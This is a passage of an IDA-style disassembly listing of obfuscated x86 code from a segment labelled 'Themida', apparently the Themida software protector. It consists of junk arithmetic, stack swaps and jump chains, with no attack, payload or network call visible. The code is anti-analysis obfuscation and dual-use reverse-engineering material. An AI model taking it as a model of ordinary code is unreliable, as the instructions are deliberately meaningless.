		add	esp, 4
		push	646Bh
		mov	[esp], eax
		mov	eax, 2
		add	edi, 2DFA00F1h
		sub	edi, 632E380Bh
		jmp	loc_5AE518
; ---------------------------------------------------------------------------


loc_59FC95:				; CODE XREF: Themida_:0059EBF9j
		mov	[esp], ebp
		mov	ebp, 62B80CB5h
		dec	ebp
		jl	loc_5AEE02
		and	ebp, 74F24C20h
		jnz	loc_5AEFB4
		jmp	loc_59DD40
; ---------------------------------------------------------------------------
		mov	[esp], ecx
		add	ah, 0BBh
		pop	esp
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_59FCBC:				; CODE XREF: sub_59DFDD-222Aj
		add	edi, 77337B51h
		add	edi, esi
		sub	edi, 77337B51h
		pop	esi
		jmp	sub_59FDC7
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59FCD0:				; CODE XREF: sub_5A91EC-10E9j
		pop	ecx
		or	ecx, 1EDF7EB8h
		jmp	loc_5AF095
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_59FCDC:				; CODE XREF: sub_597F0C+11864j
		push	1EFD7A79h
		mov	ebp, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_5A1FCB
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_59FCEF:				; CODE XREF: sub_5A95E0-E0F0j
		mov	esi, esp
		push	ebx
		mov	ebx, 54142EBAh
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 52C3556Ah
		not	ebx
		jmp	loc_5AA75C
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D663


loc_59FD0A:				; CODE XREF: sub_59D663+8j
		add	esi, 4
		jmp	loc_5A3D3A
; END OF FUNCTION CHUNK	FOR sub_59D663
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8899


loc_59FD15:				; CODE XREF: sub_5A8899-F80Dj
		mov	eax, [esp+8+var_8]
		push	eax
		push	esp
		pop	eax
		jmp	loc_59A9A2
; END OF FUNCTION CHUNK	FOR sub_5A8899
; ---------------------------------------------------------------------------


loc_59FD20:				; CODE XREF: Themida_:0059A304j
		push	ebp
		mov	ebp, 4
		sub	eax, 149D1BD5h
		jmp	loc_5AE6A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_59FD30:				; CODE XREF: sub_5A91EC-BE20j
		add	ebx, ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_5AC6F1
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_59FD3B:				; CODE XREF: sub_598D16:loc_5A16B1j
		jmp	loc_5AD0DB
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A989A


loc_59FD40:				; CODE XREF: sub_5A989A+11j
		add	ebp, ecx
		pop	ecx
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		push	3F90h
		mov	[esp+4+var_4], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59BBE9
; END OF FUNCTION CHUNK	FOR sub_5A989A
; ---------------------------------------------------------------------------


loc_59FD5F:				; CODE XREF: Themida_:005AA8F0j
		pop	esi
		xor	eax, ebp
		jmp	loc_5A6A3F
; ---------------------------------------------------------------------------


loc_59FD67:				; CODE XREF: Themida_:005A9394j
		inc	ecx
		dec	ecx
		sub	ecx, 0C060CB49h
		add	ebx, ecx
		jmp	loc_59A451
; ---------------------------------------------------------------------------


loc_59FD76:				; CODE XREF: Themida_:0059DF25j
		push	0B4Ah
		mov	[esp], eax
		push	ebx
		mov	ebx, 0E394048h
		or	ebx, 2315302Eh
		jmp	loc_59C365
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADB3A


loc_59FD8F:				; CODE XREF: sub_5ADB3A-2432j
		xor	ebp, [esp+4+var_4]
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		pop	esp
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5ADB3A
; ---------------------------------------------------------------------------


loc_59FD9E:				; CODE XREF: Themida_:005A499Dj
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5A11BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59FDB2:				; CODE XREF: sub_5A1B2A-7DD4j
		jns	loc_5A4570
		sub	dh, 93h
		mov	bl, dh
		pop	edx
		add	bl, 90h
		jmp	loc_59976F
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
		push	esi

; =============== S U B	R O U T	I N E =======================================



sub_59FDC7	proc near		; CODE XREF: sub_59DFDD+1CEEj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4

; FUNCTION CHUNK AT 00597D39 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005980CE SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00598676 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00598AF8 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059CB06 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059E703 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A1C41 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 005A3E2C SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A488C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A4BC5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A5DD8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A6C84 SIZE 0000003F BYTES
; FUNCTION CHUNK AT 005A7733 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A9C18 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA25F SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AC631 SIZE 0000000B BYTES

		sub	esp, 4
		jmp	loc_5A488C
sub_59FDC7	endp

; ---------------------------------------------------------------------------


loc_59FDCF:				; CODE XREF: Themida_:0059B132j
		mov	ebx, 0B3EFF896h
		add	ebx, edi
		pop	edi
		add	[esp+8], ebx
		pop	ebx
		mov	ebx, [esp]
		jmp	loc_5A1E4B
; ---------------------------------------------------------------------------


loc_59FDE4:				; CODE XREF: Themida_:005AB64Fj
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_59F9DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D00D


loc_59FDF0:				; CODE XREF: sub_59D00D+571Bj
		mov	ecx, [esp+14h+var_14]
		add	esp, 4
		sub	ecx, 12C432E6h
		add	ecx, edi
		push	edx
		mov	edx, 2EDD1BCAh
		jmp	loc_5A8491
; END OF FUNCTION CHUNK	FOR sub_59D00D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_59FE0C:				; CODE XREF: sub_5AEE2E-D761j
		pop	edi
		sub	eax, 7A3E1366h
		xor	eax, 6BAEDF62h
		and	esi, eax
		pop	eax
		shl	esi, 4
		jmp	loc_5A4184
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_59FE22:				; CODE XREF: sub_5AA46D-BF67j
		push	dword ptr [edi+eax*4]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		jmp	loc_59D676
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59FE30:				; CODE XREF: sub_5AC95F-B912j
		pop	esp
		push	ecx
		mov	ecx, 65A9256Eh
		shr	ecx, 6
		jmp	loc_5A0EE2
; ---------------------------------------------------------------------------


loc_59FE3F:				; CODE XREF: sub_5AC95F-D132j
		mov	ebx, [esp+0]
		jmp	loc_5A3134
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_59FE47:				; CODE XREF: sub_5A1B2A+1F87j
		push	esp
		pop	ebp
		push	ecx
		mov	ecx, 586B48C3h
		push	edx
		push	5FF81091h
		pop	edx
		neg	edx
		push	esi
		mov	esi, 5EED524Eh
		sub	esi, 1ECE202Dh
		jmp	loc_59E5BC
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------


loc_59FE69:				; CODE XREF: Themida_:005AB3A3j
		xor	ecx, 1E785B5Ah
		xor	ecx, 6B734090h
		sub	ebx, 96F71A8h
		sub	ebx, ecx
		add	ebx, 96F71A8h
		pop	ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		jmp	loc_59B458
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_59FE9A:				; CODE XREF: sub_5AB88E-6AFBj
		push	dword ptr [esp+0]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_5A0703
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------


loc_59FEB2:				; CODE XREF: Themida_:005AD294j
		mov	dh, 40h
		sub	dh, cl
		jmp	loc_5ADEB4
; ---------------------------------------------------------------------------


loc_59FEBB:				; CODE XREF: Themida_:0059C04Aj
		sub	bh, dl
		pop	edx
		and	dh, bh
		pop	ebx
		push	ecx
		push	eax
		push	5729h
		mov	[esp], ecx
		push	edx
		mov	dh, 32h
		jmp	loc_59AC05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59FED3:				; CODE XREF: sub_5A8C33-C626j
		and	eax, ebp
		mov	ebp, [esp+10h+var_10]
		jmp	loc_599324
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D00D


loc_59FEDD:				; CODE XREF: sub_59D00D+65E7j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+10h+var_10]
		xor	[esp+10h+var_10], edi
		xor	edi, [esp+10h+var_10]
		pop	esp
		add	ecx, 4
		push	edi
		push	5739h
		mov	[esp+14h+var_14], ecx
		push	62824867h
		pop	ecx
		not	ecx
		or	ecx, 310B4132h
		jl	loc_5A83DA
		shr	ecx, 1
		jmp	loc_5A1590
; END OF FUNCTION CHUNK	FOR sub_59D00D
; ---------------------------------------------------------------------------
		xor	esi, [esp]
		xor	[esp], esi


loc_59FF25:				; CODE XREF: Themida_:005AB22Dj
		sub	ebx, 17EBC45Bh
		sub	edi, ebx
		pop	ebx
		add	edi, eax
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		push	367827A4h
		pop	ebx
		or	ebx, 78CB3706h
		jnz	loc_5A9665
		sub	ebx, 5018F4D4h
		mov	ecx, ebx
		pop	ebx
		and	ecx, 64F80357h


loc_59FF5B:				; CODE XREF: Themida_:005A8E0Ej
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], cx
		jmp	loc_59F6C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_59FF6A:				; CODE XREF: sub_5AC95F-1C5j
		push	edx
		mov	edx, esp
		jmp	loc_5A8196
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_59FF72:				; CODE XREF: sub_5A3F42+1Cj
		jnp	loc_59946F
		jmp	loc_5A66F2
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59FF7D:				; CODE XREF: sub_5A8D43-CE2Cj
		push	6A05h
		mov	[esp+14h+var_14], esi
		push	[esp+14h+var_14]
		mov	eax, [esp+18h+var_18]
		add	esp, 4
		add	esp, 4
		push	[esp+10h+var_10]
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	561Ah
		mov	[esp+18h+var_18], esi
		push	[esp+18h+var_14]
		push	dword ptr [esp+1Ch+var_1C]
		jmp	loc_5A0C4D
; END OF FUNCTION CHUNK	FOR sub_5A8D43

; =============== S U B	R O U T	I N E =======================================



sub_59FFBE	proc near		; CODE XREF: sub_59D99C+7F0Bj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005985A4 SIZE 0000004C BYTES
; FUNCTION CHUNK AT 0059910A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00599129 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00599178 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00599C19 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059A4C8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059B3DB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059B701 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C62B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D029 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059D2ED SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059D56E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059D620 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059DBF4 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E998 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059EDF8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059F337 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059F55D SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A01D7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A021F SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A0B23 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A0FBE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1060 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A1988 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A1BD4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A2777 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A2B8C SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A3029 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A36F4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A3FEB SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A46AB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A4A9C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A5255 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005A55F9 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A6328 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A6B46 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A6B93 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005A7048 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A7BFA SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A7C55 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A83F6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AA0BC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005AB41F SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005AC51E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 005AD7B9 SIZE 00000022 BYTES

		push	ebx
		mov	ebx, 3375E11h
		mov	edx, ebx
		mov	ebx, [esp+10h+var_10]
		add	esp, 4
		sub	eax, edx
		pop	edx
		jmp	loc_5A6B93
sub_59FFBE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_59FFD7:				; CODE XREF: sub_5AEE2E-10A66j
		push	eax
		mov	eax, 6A54EA8h
		not	eax
		shl	eax, 2
		sub	eax, 0B969BB3Eh
		jmp	loc_5A45CF
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_59FFEC:				; CODE XREF: sub_5A8C33+1F5Cj
		jmp	loc_59A642
; ---------------------------------------------------------------------------


loc_59FFF1:				; CODE XREF: sub_5A8C33-2B4j
		push	edi
		mov	edi, 23107838h
		neg	edi
		jmp	loc_59CE62
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_59FFFE:				; CODE XREF: sub_5A8D43-2B68j
		xchg	edx, [esp+20h+var_22+2]
		pop	esp
		add	esp, 4
		jmp	loc_5ABF2C
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A000D:				; CODE XREF: sub_5ACD64-1352Aj
		and	ecx, 13B85CA1h
		jmp	loc_5AA20D
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------


loc_5A0018:				; CODE XREF: Themida_:00598FEAj
		sub	esi, 9A21A7E8h
		add	ebp, esi
		pop	esi
		sub	ebp, ebx
		sub	ebp, 22994A71h
		pop	ebx
		add	ecx, 54B0AFBh
		sub	ecx, ebp
		push	esi
		jmp	loc_59DB20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A0038:				; CODE XREF: sub_59A932+14525j
		push	ecx
		sub	[esp+4+var_4], 32723F99h
		pop	ebx
		add	ebx, 32723F99h
		pop	ecx
		sub	edx, 63893DBEh
		sub	edx, 4DD61D71h
		add	edx, ebx
		add	edx, 4DD61D71h
		add	edx, 63893DBEh
		pop	ebx
		xor	edx, [esp-8+arg_4]
		xor	[esp-8+arg_4], edx
		jmp	loc_5AC22D
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5A006E:				; CODE XREF: sub_5A28BE-661Aj
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		push	edx
		push	ecx
		mov	cl, bl
		mov	dl, cl
		pop	ecx
		jmp	loc_5AA729
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A0080:				; CODE XREF: sub_597F0C+1222Dj
		mov	ax, word ptr [esp+10h+var_10]
		push	edx
		mov	edx, esp
		push	635Ch
		jmp	loc_5A0339
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A0091:				; CODE XREF: sub_5AB88E-213Dj
		push	2640h
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, esp
		jmp	loc_5A0C62
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A00A0:				; CODE XREF: sub_59D99C-2B05j
		not	edi
		sub	edi, 18AA528Fh
		jl	loc_598BF6
		push	255Eh
		mov	[esp+16h+var_18+2], ebp
		mov	ebp, 618BE34Ah
		add	edi, ebp
; END OF FUNCTION CHUNK	FOR sub_59D99C
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A00BD:				; CODE XREF: sub_5A3F42-6E9Bj
		xor	dword ptr [esp+0], 668B309Ch
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		pop	edx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0Ch+var_C]
		jmp	loc_59EE50
; END OF FUNCTION CHUNK	FOR sub_5A3F42

; =============== S U B	R O U T	I N E =======================================



sub_5A00F8	proc near		; CODE XREF: sub_598E15+83A1j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599C07 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059CA01 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0059DB92 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059E1A1 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A277F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A95C4 SIZE 00000006 BYTES

		push	ebx
		mov	ebx, 4FE9484Eh
		jmp	loc_59DB92
sub_5A00F8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5A0103:				; CODE XREF: sub_5A91EC-3CCFj
		mov	edx, edi
		pop	edi
		and	ecx, edx
		push	[esp-18h+arg_14]
		jmp	loc_59F674
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A0110:				; CODE XREF: sub_5AC95F-996Ej
		jmp	loc_59BA93
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADE64


loc_5A0115:				; CODE XREF: sub_5ADE64+F6Fj
		push	eax
		jmp	sub_5A70C2
; END OF FUNCTION CHUNK	FOR sub_5ADE64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A011B:				; CODE XREF: sub_5AC95F-38DBj
		push	eax
		pop	esi
		pop	eax
		pop	ecx
		jmp	loc_598D5C
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAA81


loc_5A0124:				; CODE XREF: sub_5AAA81-4FD1j
		mov	ebp, 53CA2CFDh
		or	eax, ebp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		add	eax, 0FFFFFFFFh
		inc	eax
		jno	loc_5A67E9
		add	eax, 0CEE64C72h
		mov	ebx, eax
		pop	eax
		sub	eax, 5D1D3134h
		push	eax
; END OF FUNCTION CHUNK	FOR sub_5AAA81
; START	OF FUNCTION CHUNK FOR sub_59D7E7


loc_5A014B:				; CODE XREF: sub_59D7E7+151j
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_59D7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8108


loc_5A0150:				; CODE XREF: sub_5A8108-5EFAj
		push	ecx
		jmp	loc_5A9DF5
; END OF FUNCTION CHUNK	FOR sub_5A8108
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A0156:				; CODE XREF: sub_59D99C+7A20j
		add	esi, 4
		xchg	esi, [esp+16h+var_18+2]
		pop	esp
		push	6BA1h
		mov	[esp+16h+var_18+2], eax
		mov	eax, 100006AEh
		xor	eax, 15CC695Ch
		and	eax, 12F420CEh
		sub	eax, 66CD7553h
		push	ecx
		mov	ecx, 18C02553h
		and	eax, ecx
		jmp	loc_5A6BFB
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A0186:				; CODE XREF: Themida_:00598656j
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	esp
		jmp	loc_5A67D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A019F:				; CODE XREF: sub_5A0F44+3j
		mov	[esp-4+arg_0], eax
		mov	eax, 320D3173h
		sub	eax, 0F4B5DA87h
		push	2C4Bh
		mov	[esp+0], edi
		push	esi
		mov	esi, 9E930BDh
		mov	edi, esi
		pop	esi
		jmp	loc_5AE7D1
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------


loc_5A01C2:				; CODE XREF: Themida_:0059C664j
		sub	ebx, ecx
		pop	ecx
		add	ebx, eax
		add	ebx, 5AFD3405h
		jmp	loc_5ADFBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A01D2:				; CODE XREF: sub_5AC95F-4B6Aj
		jmp	loc_5A1DF7
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A01D7:				; CODE XREF: sub_59FFBE+6B95j
					; Themida_:005AC95Aj
		add	eax, 4
		push	eax
		push	[esp+0Ch+var_8]
		mov	eax, [esp+10h+var_10]
		jmp	loc_5A1060
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACCE


loc_5A01E7:				; CODE XREF: sub_59ACCE+3BBFj
		add	ebp, 4
		jmp	loc_59CA96
; END OF FUNCTION CHUNK	FOR sub_59ACCE
; ---------------------------------------------------------------------------


loc_5A01F2:				; CODE XREF: Themida_:005AA060j
		xchg	edx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 0
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	ecx, 75DD7913h
		add	ecx, 3FAE69F9h
		add	ecx, edx
		jmp	loc_597E7E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A021F:				; CODE XREF: sub_59FFBE+10ACj
		mov	edi, esp
		push	50F7h
		mov	[esp+14h+var_14], eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		sub	edi, ecx
		jmp	loc_5A5255
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------


loc_5A023E:				; CODE XREF: Themida_:005A2A39j
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_5A20A7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5A0248:				; CODE XREF: sub_5AC402:loc_5A0CEFj
		jmp	loc_5A1177
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A024D:				; CODE XREF: sub_59D99C+C65Ej
		xor	edx, 3CC0FEAh
		shr	edx, 6
		push	eax
		jmp	loc_5AA7FC
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A025C:				; CODE XREF: sub_5AC95F-116D1j
		mov	ebx, edi
		pop	edi
		jmp	loc_5ADCC1
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_5A0264:				; CODE XREF: sub_5AB98B-13342j
		mov	bh, cl
		push	edx
		mov	dl, ah
		mov	cl, dl
		pop	edx
		mov	ax, [esp+2+var_2]
		jmp	loc_5A39EC
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A0275:				; CODE XREF: sub_59D99C+9C08j
		pop	eax
		jmp	loc_5A1AF9
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5986D6


loc_5A027B:				; CODE XREF: sub_5986D6+40F0j
		mov	esp, [esp+0Ch+var_C]
		mov	ax, word ptr [esp+0Ch+var_C]
		sub	esp, 4
		jmp	loc_5A61FC
; END OF FUNCTION CHUNK	FOR sub_5986D6
; ---------------------------------------------------------------------------


loc_5A028A:				; CODE XREF: Themida_:005A6D3Aj
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A028F:				; CODE XREF: sub_5AE6FD-152AAj
		mov	ecx, [esp-4+arg_0]
		sub	esp, 4
		jmp	loc_5AB626
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------


loc_5A029A:				; CODE XREF: Themida_:005A99A3j
		mov	esi, 2D28419Fh
		shl	esi, 7
		or	esi, 30E03F75h
		jmp	loc_5A8C77
; ---------------------------------------------------------------------------


loc_5A02AD:				; CODE XREF: Themida_:005A7B1Bj
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5A1C36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5A02C5:				; CODE XREF: sub_5A8F00-1736j
		not	esi
		xor	esi, 58B1C673h
		mov	edi, esi
		pop	esi
		jmp	loc_59F435
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		jmp	loc_5A8CB0
; ---------------------------------------------------------------------------


loc_5A02DF:				; CODE XREF: Themida_:005A3ED3j
